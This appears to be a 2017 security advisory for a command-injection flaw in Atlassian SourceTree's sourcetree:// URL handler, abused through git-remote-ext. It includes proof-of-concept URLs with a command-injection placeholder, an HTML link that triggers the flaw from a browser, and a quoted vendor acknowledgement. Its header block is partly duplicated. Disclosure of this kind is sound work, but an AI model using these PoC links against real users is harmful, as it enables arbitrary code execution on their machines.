Atlassian SourceTree 2.5c Client URL Handler Command Injection

Details
Category: Vulnerabilities
Hits: 816

Author: redrain, hongyu-s[at]360.cn
Date: 2017-03-02
Version:2.5c and prior
Platform: macOS, Windows, Linux Desktop
Site: https://www.sourcetreeapp.com
Vendor: A
Author: redrain, hongyu-s[at]360.cn
Date: 2017-03-02
Version:2.5c and prior
Platform: macOS, Windows, Linux Desktop
Site: https://www.sourcetreeapp.com
Vendor: Atlassian
Vendor Notified: 2017-03-02


Technical Details:
========================================

SourceTree v2.5c and prior are affected by a command injection in the handling of sourcetree:// scheme.
The cloneRepo action with !(r)ext!-is base on git-remote-ext, The git team's description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
<html>
<head></head>
<body>
<a href=sourcetree://checkoutRef/ext::id>a</a>
</body>
</html>
There is a simple demo video:
https://youtu.be/SQ1_Ht-0Bdo


Other:
============================================
and there is the last bugtrack I reported:


```
Activity
Your request status changed to Resolved with resolution Tracked Elsewhere.
03/Mar/17 5:35 PMLATEST
Alexander Minozhenko
Alexander Minozhenko03/Mar/17 5:34 PM
Hi rootredrain,
Thank you for sending this notification to Atlassian. This is indeed a vulnerability and an issue has been filed on an internal tracker.
The issue is SRCTREE-4632. Unfortunately, this issue is not accessible externally, so you will not be able to monitor its progress. Feel free to check with us for updates.
redrain
redrain02/Mar/17 5:43 PM
sourcetree_vuln.7z (9.62 MB)
Details02/Mar/17 5:43 PM
Product or Service
Other
Product Version
2.4.1a and earlier
Description
SourceTree v2.4.1a and earlier are affected by a command injection in the handling of sourcetree:// scheme.
The cloneRepo action with !(r)ext!- is base on git-remote-ext, The git team!-s description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
there is a simple demo in the attachment.


Regards,
redrain